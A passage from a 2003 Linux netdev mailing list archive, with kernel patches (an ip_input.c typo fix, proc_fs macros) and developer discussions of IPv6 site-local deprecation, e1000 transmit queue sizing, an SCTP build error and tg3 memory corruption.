8086 1276 PRO/1000 MT Network Adapter > + 1077 82541EI Gigabit Ethernet Controller > + 1179 0001 PRO/1000 MT Mobile Connection > + 8086 0077 PRO/1000 MT Mobile Connection > + 8086 1077 PRO/1000 MT Mobile Connection > + 1078 82541EI Gigabit Ethernet Controller > + 8086 1078 PRO/1000 MT Network Connection > + 1079 82546EB Gigabit Ethernet Controller > + 8086 0079 PRO/1000 MT Dual Port Network Connection > + 8086 1079 PRO/1000 MT Dual Port Network Connection > + 8086 1179 PRO/1000 MT Dual Port Server Adapter > + 8086 117a PRO/1000 MT Dual Port Server Adapter > + 107a 82546EB Gigabit Ethernet Controller > + 8086 107a PRO/1000 MF Dual Port Server Adapter > + 8086 127a PRO/1000 MF Dual Port Server Adapter > + 107b 82546EB Gigabit Ethernet Controller > + 8086 007b PRO/1000 MB Dual Port Server Connection > + 8086 107b PRO/1000 MB Dual Port Server Connection > 1130 82815 815 Chipset Host Bridge and Memory Controller Hub > 1025 1016 Travelmate 612 TX > 1043 8027 TUSL2-C Mainboard > > > From acme@conectiva.com.br Fri Sep 12 09:25:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 09:25:59 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CGPpYa006616 for ; Fri, 12 Sep 2003 09:25:52 -0700 Received: from [200.181.138.13] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 19xqsa-0005je-00; Fri, 12 Sep 2003 13:34:40 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 043961966D; Fri, 12 Sep 2003 16:27:30 +0000 (UTC) Date: Fri, 12 Sep 2003 13:27:30 -0300 From: Arnaldo Carvalho de Melo To: Harald Welte Cc: "David S. Miller" , Bart De Schuymer , netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: [PATCH] fix typo in net/ipv4/ip_input.c Message-ID: <20030912162729.GD8713@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 5853 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 394 Lines: 18 Hi Harald, Dave, Please apply. - Arnaldo ===== net/ipv4/ip_input.c 1.18 vs edited ===== --- 1.18/net/ipv4/ip_input.c Thu Sep 11 20:46:34 2003 +++ edited/net/ipv4/ip_input.c Fri Sep 12 16:17:06 2003 @@ -201,7 +201,7 @@ #ifdef CONFIG_NETFILTER_DEBUG nf_debug_ip_local_deliver(skb); - skb->nf_debug =3D 0; + skb->nf_debug = 0; #endif /*CONFIG_NETFILTER_DEBUG*/ __skb_pull(skb, ihl); From acme@conectiva.com.br Fri Sep 12 09:44:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 09:44:54 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CGiiYa007409 for ; Fri, 12 Sep 2003 09:44:45 -0700 Received: from [200.181.138.13] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 19xrAy-0005wi-00; Fri, 12 Sep 2003 13:53:40 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 9AD341966D; Fri, 12 Sep 2003 16:46:29 +0000 (UTC) Date: Fri, 12 Sep 2003 13:46:28 -0300 From: Arnaldo Carvalho de Melo To: Sridhar Samudrala Cc: Linux Networking Development Mailing List , lksctp-developers@lists.sourceforge.net Subject: net/sctp/sm_make_chunk.c alignment problems on parisc64 Message-ID: <20030912164628.GF8713@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 5854 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 534 Lines: 15 Latest 2.6 bk tree, but I think this is hanging there for quite a while. CC [M] net/sctp/sm_make_chunk.o {standard input}: Assembler messages: {standard input}:2386: Error: Field not properly aligned [8] (52). {standard input}:2386: Error: Invalid operands {standard input}:2398: Error: Field not properly aligned [8] (52). {standard input}:2398: Error: Invalid operands make[2]: *** [net/sctp/sm_make_chunk.o] Error 1 make[1]: *** [net/sctp] Error 2 make: *** [net] Error 2 it happens in the sctp_pack_cookie function. - Arnaldo From maxk@qualcomm.com Fri Sep 12 09:50:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 09:50:53 -0700 (PDT) Received: from ithilien.qualcomm.com (ithilien.qualcomm.com [129.46.51.59]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CGomYa007927 for ; Fri, 12 Sep 2003 09:50:49 -0700 Received: from neophyte.qualcomm.com (neophyte.qualcomm.com [129.46.61.149]) by ithilien.qualcomm.com (8.12.9/8.12.5/1.0) with ESMTP id h8CGojuI017726; Fri, 12 Sep 2003 09:50:45 -0700 (PDT) Received: from MAXK.qualcomm.com (maxk.qualcomm.com [129.46.176.80]) by neophyte.qualcomm.com (8.12.9/8.12.5/1.0) with ESMTP id h8CGoguh020400; Fri, 12 Sep 2003 09:50:42 -0700 (PDT) Message-Id: <5.1.0.14.2.20030912094654.061eb128@unixmail.qualcomm.com> X-Sender: maxk@unixmail.qualcomm.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 12 Sep 2003 09:50:40 -0700 To: "David S. Miller" , Stephen Hemminger From: Max Krasnyansky Subject: Re: [RFT][PATCH] Convert bluetooth to dynamic net_device. Cc: netdev@oss.sgi.com In-Reply-To: <5.1.0.14.2.20030812094908.08cca600@unixmail.qualcomm.com> References: <20030811224851.18d41430.davem@redhat.com> <20030811115334.4bd4521a.shemminger@osdl.org> <20030811115334.4bd4521a.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-archive-position: 5855 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: maxk@qualcomm.com Precedence: bulk X-list: netdev Content-Length: 657 Lines: 27 At 09:49 AM 8/12/2003, Max Krasnyansky wrote: >At 10:48 PM 8/11/2003, David S. Miller wrote: >>On Mon, 11 Aug 2003 11:53:34 -0700 >>Stephen Hemminger wrote: >> >>> Since the initialization code changed slightly, I would like to have >>> someone do a basic sanity test before it is merged. >> >>Ok, ping me when you believe this has occurred :-) > >I'll test this patch and let you guys know. So far it looks ok to me. I finally had a chance to test it. Works fine. So I applied the patch to my tree. Dave, I'm going to send you a bunch of Bluetooth updates in next email. Those include above patch from Stephen. Thanks Max From pekkas@netcore.fi Fri Sep 12 10:29:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 10:29:44 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CHTbYa009533 for ; Fri, 12 Sep 2003 10:29:38 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8CHTSQ28076; Fri, 12 Sep 2003 20:29:28 +0300 Date: Fri, 12 Sep 2003 20:29:28 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063361813.23778.419.camel@hades.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by netcore.fi id h8CHTSQ28076 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8CHTbYa009533 X-archive-position: 5856 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 2213 Lines: 47 On Fri, 12 Sep 2003, David Woodhouse wrote: > On Fri, 2003-09-12 at 12:48 +0300, Pekka Savola wrote: > > You might also want to check out the document which is documenting the > > deprecation (note, it's still a draft version, and likely to evolve a > > lot), to learn about some of the problems of the site-locals: > > > > http://www.ietf.org/internet-drafts/draft-ietf-ipv6-deprecate-site-local-00.txt > > It's interesting to see the arguments therein. I thought there might > have been some valid ones I wasn't previously aware of, since I'm fairly > new to IPv6. That doesn't really seem to be the case -- all the > arguments could apply just as well to RFC1918 too. You have this wrong assumption that IPv6 is engineered with RFC1918 in mind. Site-locals were indeed that. But the point of deprecating them was to get *rid of* (at least to a degree) RFC1918 addresses in IPv6. It's no use to reply in detail, except to correct two very bad misunderstandings.. > §2.2 -- internal addresses 'leak'. Not if you apply even a modicum of > clue. Same as RFC1918 in IPv4. You don't let packets with private source > addresses outside your borders, and you don't put them in public DNS. Leakage is used to refer to a lot more than just source/destination addresses. For example, addresses leak when you use a Peer-to-peer system behind a NAT; addresses leak when you contact to an FTP server from behind a NAT, etc. Addresses leaking inside the application is a much more difficult problem. > §2.3 -- routing is hard. Let's go shopping. You have a global internal > network routed over crypto tunnels between multiple sites. And you can't > handle setting up the routing? Yeah, right. There's a lot more to it. Consider the case when you have a router which is part of *two* sites, each from overlapping addresses. Routing protocols and everything would have to be modified to pass site identifiers in addition to the addresses. This looks like a simple problem but it isn't, that's for sure. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dwmw2@infradead.org Fri Sep 12 10:38:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 10:38:34 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CHcPYa010066 for ; Fri, 12 Sep 2003 10:38:29 -0700 Received: from localhost.localdomain ([127.0.0.1] helo=localhost) by imladris.demon.co.uk with esmtp (Exim 4.22) id 19xrsF-0008Ut-Ru; Fri, 12 Sep 2003 18:38:23 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063388303.7869.410.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-5.dwmw2.1) Date: Fri, 12 Sep 2003 18:38:23 +0100 Content-Transfer-Encoding: 7bit X-SA-Exim-Mail-From: dwmw2@infradead.org X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 5857 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 1983 Lines: 43 On Fri, 2003-09-12 at 20:29 +0300, Pekka Savola wrote: > You have this wrong assumption that IPv6 is engineered with RFC1918 in > mind. Site-locals were indeed that. But the point of deprecating them > was to get *rid of* (at least to a degree) RFC1918 addresses in IPv6. But RFC1918 is what makes intranets work. And the proposal you pointed me at puts them _back_ again, just gratuitously globally unique, and without the semantics which actually made them _more_ useful than RFC1918; made them ideal for multi-homing with both site- and global- scope addresses. > It's no use to reply in detail, except to correct two very bad > misunderstandings.. > Leakage is used to refer to a lot more than just source/destination > addresses. For example, addresses leak when you use a Peer-to-peer system > behind a NAT; addresses leak when you contact to an FTP server from behind > a NAT, etc. Addresses leaking inside the application is a much more > difficult problem. Unlike IPv4 and RFC1918, I thought IPv6 and site-local addressing _solved_ this, by letting multi-homing work properly. Hosts _wouldn't_ contact external machines using their site-scope address through a NAT; instead they'd have a global-scope address for that. Wasn't that the point? > Consider the case when you have a router which is part of *two* sites, > each from overlapping addresses. Routing protocols and everything would > have to be modified to pass site identifiers in addition to the addresses. > This looks like a simple problem but it isn't, that's for sure. OK, I hadn't realised you could have overlapping sites, and you were supposed to magically distinguish between them without any site identifier being passed on the wire. That was rather bizarre, and there's definitely reason for _that_ being abolished, I suppose. The site scope addresses gave you 118 bits to play with. Using multiple 'site identifiers' rather than just subnetting it is a strange idea. -- dwmw2 From ricardoz@us.ibm.com Fri Sep 12 10:44:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 10:44:22 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CHiJYa010506 for ; Fri, 12 Sep 2003 10:44:19 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.9/NS PXFA) with ESMTP id h8CHiBnZ483012; Fri, 12 Sep 2003 13:44:11 -0400 Received: from d01ml063.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8CHi9fd233218; Fri, 12 Sep 2003 13:44:09 -0400 In-Reply-To: Importance: Normal Sensitivity: Subject: RE: [e1000 2.6 10/11] TxDescriptors -> 1024 default To: Donald Becker Cc: hadi@cyberus.ca, scott.feldman@intel.com, jgarzik@pobox.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Fri, 12 Sep 2003 12:44:06 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 JHEG5P4HSL JBONL5L8FGD MIAS5MHLYW|August 26, 2003) at 09/12/2003 13:44:09 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5858 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1389 Lines: 34 Comment from Herman: GigE had been around for a number of years now and when it first came out, the CPU's were quite slow compared to the adapter. Now the processor speeds have continued to move ahead and with N Giga Hz plus class processors on a SMP, they can clearly feed a gigE adapter at at high rate. The problem is you have to decide how many TCP connections you want to support. Each connection can be sending up to the TCP window size (based on the receivers socket recv space). This is typically 64K in a GigE environement these days. Each individual TCP session only knows about its window size. Thus with N of them active, you can overrun the transmit queue(s) (HW and SW Q's). It not nice to have TCP do all the work of building up N packets and then drop them on the floor simply because of a queue limit. I mean the buffers are ALEADY built, now they must be discarded and let TCP timeout and retransmit. Customers can have lots of TCP connections on these SMP servers and they expect the GigE to perform. I don't think they care about a the minimial space needed for the transmit que descriptors. They have a lot of money in high performance network gear (switches, etc) and dropping packets at the sender is just plain bad. If you don't want to increase the hardware queue, then at least increase the software queue, which requires no space. Thanks, Herman From eric@ebiederm.dsl.xmission.com Fri Sep 12 10:45:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 10:45:46 -0700 (PDT) Received: from ebiederm.dsl.xmission.com (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CHjgYa010845 for ; Fri, 12 Sep 2003 10:45:42 -0700 Received: from ebiederm.dsl.xmission.com (localhost [127.0.0.1]) by ebiederm.dsl.xmission.com (8.12.3/8.12.3/Debian-6.4) with ESMTP id h8CHjwYb010150; Fri, 12 Sep 2003 11:45:58 -0600 Received: (from eric@localhost) by ebiederm.dsl.xmission.com (8.12.3/8.12.3/Debian-6.4) id h8CHjv8N010146; Fri, 12 Sep 2003 11:45:57 -0600 To: Andreas Dilger Cc: Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: How do I track TG3 peculiarities? References: <20030907220926.G18482@schatzie.adilger.int> From: ebiederm@xmission.com (Eric W. Biederman) Date: 12 Sep 2003 11:45:57 -0600 In-Reply-To: <20030907220926.G18482@schatzie.adilger.int> Message-ID: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5859 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev Content-Length: 1550 Lines: 39 Andreas Dilger writes: > On Sep 07, 2003 16:21 -0600, Eric W. Biederman wrote: > > Below is one good oops we have captured. I would have to check but > > I believe we have updated the tg3 driver in this instance to the > > one that comes with 2.4.23-pre3. > > > > The very puzzling part is that in the crashes I don't see the tg3 > > driver at all just the network stack. All module addresses according > > to /proc/ksyms started with at 0xf8, and the tg3 driver was built as > > a module. > > > > I have been having trouble understanding why skb_clone would be called > > to transmit a packet. Any ideas? > > Do you have the stack overflow checking enabled? No. > That has been a source > of problems for us. It was especially difficult to reproduce, because it > only happened during a double interrupt. So a quick update on what I am seeing. I have now tried with a myriad of driver and kernel versions watching very carefully for a pattern. What I have observed is memory corruption in what looks like it may be a confined area of memory. The ECC SDRAM is being closely monitored and I am not getting as much as a correctable error much less and uncorrectable error that would show up so memory is ruled out. When I am connected to a particular Extreme Networks gigabit switch. (The switch has some problems and it is hypothesized the switch is injecting problematic packets into the network). Bad packets should not be a problem but it looks like they are triggering the problem whatever it is. Eric From pekkas@netcore.fi Fri Sep 12 11:00:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 11:00:36 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CI0SYa011555 for ; Fri, 12 Sep 2003 11:00:29 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8CI0K428486; Fri, 12 Sep 2003 21:00:21 +0300 Date: Fri, 12 Sep 2003 21:00:20 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063388303.7869.410.camel@imladris.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5860 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 2332 Lines: 52 On Fri, 12 Sep 2003, David Woodhouse wrote: > On Fri, 2003-09-12 at 20:29 +0300, Pekka Savola wrote: > > You have this wrong assumption that IPv6 is engineered with RFC1918 in > > mind. Site-locals were indeed that. But the point of deprecating them > > was to get *rid of* (at least to a degree) RFC1918 addresses in IPv6. > > But RFC1918 is what makes intranets work. .. in a broken manner. We already have IPv4. If you want to deploy IPv6, do it properly. IPv6 is about global addressing. The bottom line is: it's just so much better idea to use global addresses and filtering. > And the proposal you pointed > me at puts them _back_ again, just gratuitously globally unique, and > without the semantics which actually made them _more_ useful than > RFC1918; made them ideal for multi-homing with both site- and global- > scope addresses. Also, such semantics ("site-locals always preferred") caused a number of problems. > > Leakage is used to refer to a lot more than just source/destination > > addresses. For example, addresses leak when you use a Peer-to-peer system > > behind a NAT; addresses leak when you contact to an FTP server from behind > > a NAT, etc. Addresses leaking inside the application is a much more > > difficult problem. > > Unlike IPv4 and RFC1918, I thought IPv6 and site-local addressing > _solved_ this, by letting multi-homing work properly. Hosts _wouldn't_ > contact external machines using their site-scope address through a NAT; > instead they'd have a global-scope address for that. Wasn't that the > point? There is a problem especially with multi-party applications, which do referrals. Consider theree nodes A, B, and C. A and B are in the same site and have both globals and site-locals. C has only globals. By the "site-local smallest scope rule", A and B talk using site-locals. However, if B tells C to contact A, he gives C a site-local address of A, instead of the global. And C can't handle it. If you're interested to go a bit deeper to the reasoning, you may be interested to read http://www.ietf.org/internet-drafts/draft-wasserman-ipv6-sl-impact-02.txt -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From xma@us.ibm.com Fri Sep 12 11:09:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 11:09:38 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CI9ZYa012135 for ; Fri, 12 Sep 2003 11:09:35 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8CI9DPt356196; Fri, 12 Sep 2003 14:09:13 -0400 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8CI99jd073988; Fri, 12 Sep 2003 12:09:10 -0600 Importance: Normal Sensitivity: Subject: Re: New IPv6 Draft Implementation To: Marcin Kaminski Cc: netdev@oss.sgi.com, X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Fri, 12 Sep 2003 11:09:07 -0700 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 09/12/2003 12:09:10 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5861 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1669 Lines: 62 Great!. I am doing the kernel piece right now for supporting IPv6 MIBs. There are total of 11 tables in IPv6 MIBs. I will work on the kernel patch for supporting ipv6InterfaceTable, ipAddressTable(IPv6) and ipAddressPrefixTable(IPv6 only) first, then inetIcmpTable(ICMPv6), inetIcmpMsgTable (ICMPv6) ipv6RouterAdverTable and ipIfStatsTable(IPv6 only). There are no much kernel work on ipSystemStatsTable, InetNetToMediaTable and ipDefaultRouterTable, which are already supported in current kernel. I won't do any work on ipv6ScopeZoneIndexTable, this table has dependency on IPv6 Scoped Address Architecture draft. Hope more people are interested in IPv6 MIBs work, and join the SNMP user level development. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 Marcin Kaminski on 09/11/2003 02:58:30 PM To: Shirley Ma/Beaverton/IBM@IBMUS cc: netdev@oss.sgi.com, Subject: Re: New IPv6 Draft Implementation On Thu, 11 Sep 2003, Shirley Ma wrote: > I am going to implement the support for the new IP MIBs draft for IPv6 MIBs > only. > > Below is the draft link: > > http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2011-update-03.txt . > I am going to start from > ipv6nterfaceTable. Any thoughts about this? We are really waiting for this :) I don't know any existing implementation of SNMP agent with support for most IPv6 MIBs (especially with IPv6 adresses included in OIDs), but that is thing which I am really looking for. Please inform us about Your results :) Marcin Kaminski 6Net project From greearb@candelatech.com Fri Sep 12 11:13:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 11:13:25 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CIDKYa012527 for ; Fri, 12 Sep 2003 11:13:20 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8CICWDx020950; Fri, 12 Sep 2003 11:12:32 -0700 Message-ID: <3F620C90.5090903@candelatech.com> Date: Fri, 12 Sep 2003 11:12:32 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: hadi@cyberus.ca CC: "Feldman, Scott" , Jeff Garzik , netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <1063370664.1028.85.camel@jzny.localdomain> In-Reply-To: <1063370664.1028.85.camel@jzny.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5862 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 3572 Lines: 78 jamal wrote: > On Fri, 2003-09-12 at 01:13, Feldman, Scott wrote: >>On the other hand, if we're always running the descriptor ring near >>empty, we've got other problems. It seems to reason that it doesn't >>matter how big the ring is if we're in that situation. If the CPU can >>overrun the device, expanding the queues between the CPU and the device >>may help with bursts but gets you nothing for a sustained load. >> > > > Well, theres only one way out that device ;-> and it goes out at a max > rate of Gige. If you have sustained incoming rates from the CPU(s) of > greater than Gige, then you are fucked anyways and you are better to > drop at the scheduler queue. I have seen greater packets-per-second throughput when I increase the TxDescriptor ring (and RxDescriptor ring) when using pktgen, which checks for enqueue errors and re-queues as needed. So, it could help the case where we are running at very high sustained speeds (or high packets-per-second rates). >>I flunked that queuing theory class anyway, so what do I know? Every >>time I get stuck in a traffic slug on the freeway, I think about that >>class. Hey, that means my car is like an skb, so maybe longer roads >>would help? Not! > > > > Note we do return an indication that the packet was dropped. What you do > with that information is relative. TCP makes use of it in the kernel > which makes sense. UDP congestion control is mostly under the influence > of the UDP app in user space. The impedance between user space and > kernel makes that info useless to the UDP app especially in cases when > the system is overloaded (which is where this matters most). This is of > course theory and someone who really wants to find out should > experiment. I would be pleasantly shocked if it turned out the info to > the UDP app was useful. An interesting thing to try , which violates > UDP, is to have UDP requeue a packet back to the socket queue in the > kernel everytime an indication is received that the scheduler queue > dropped the packet. User space by virtue of UDP sock queue not emptying > should find out soon and slow down. Um, I doubt the UDP protocol says you MUST drop packets when you reach congestion...it just says that you _CAN_ drop the packet. Slowing down user-space is exactly what you want to do in this case because it saves user-space CPU, and it saves the user-space program from having to deal (so often) with dropped packets. Already, if the socket queue is full, poll/select will block, you'll get -EBUSY returned, and/or your application will block on a wait queue.... Any of these allow the user space program to immediately back off, saving the whole system work. > All this is really speculation: > A UDP app that really care about congestion should factor it from an end > to end perspective and use the big socket queues suggested to buffer > things. Big socket queues can cause your machine to over-run the scheduler queue, if I understand Dave right. And lots of big queues everywhere can cause your machine to OOM and lock up completely (see another recent thread). > > To give anology to your car, if you only find out half way later that > there was a red light a few meters back then that info is useless. If > you dont get hit and reverse you may find that infact the light has > turned to green which is again useless ;-> So much better to have stopped the car earlier and kept him out of the intersection in the first place :) Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From shemminger@osdl.org Fri Sep 12 11:22:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 11:22:21 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CIMHYa013098 for ; Fri, 12 Sep 2003 11:22:18 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8CILco18141; Fri, 12 Sep 2003 11:21:38 -0700 Date: Fri, 12 Sep 2003 11:21:20 -0700 From: Stephen Hemminger To: John Levon Cc: David Miller , netdev@oss.sgi.com Subject: [PATCH] proc_net macro's for non-proc-fs case Message-Id: <20030912112120.23300a99.shemminger@osdl.org> In-Reply-To: <20030911235405.GA74116@compsoc.man.ac.uk> References: <20030911154357.6b31891c.shemminger@osdl.org> <20030911235405.GA74116@compsoc.man.ac.uk> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5863 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 980 Lines: 22 The following should work better. They have the desired properties that: - return value makes sense for those that might check - arguments fops and info don't have to be defined (ie can be #ifdef'd out) - generate no warnings for null effect. diff -Nru a/include/linux/proc_fs.h b/include/linux/proc_fs.h --- a/include/linux/proc_fs.h Fri Sep 12 11:19:07 2003 +++ b/include/linux/proc_fs.h Fri Sep 12 11:19:07 2003 @@ -185,9 +185,10 @@ #else #define proc_root_driver NULL -#define proc_net_fops_create(name,mode,fops) do {} while(0) -static inline struct proc_dir_entry *proc_net_create(const char *name, mode_t mode, - get_info_t *get_info) {return NULL;} +#define proc_net NULL + +#define proc_net_fops_create(name, mode, fops) ({ (void)(mode), NULL; }) +#define proc_net_create(name, mode, info) ({ (void)(mode), NULL; }) static inline void proc_net_remove(const char *name) {} static inline struct dentry *proc_pid_unhash(struct task_struct *p) { return NULL; } From ricardoz@us.ibm.com Fri Sep 12 11:32:31 2003 Received: with ECARTIS 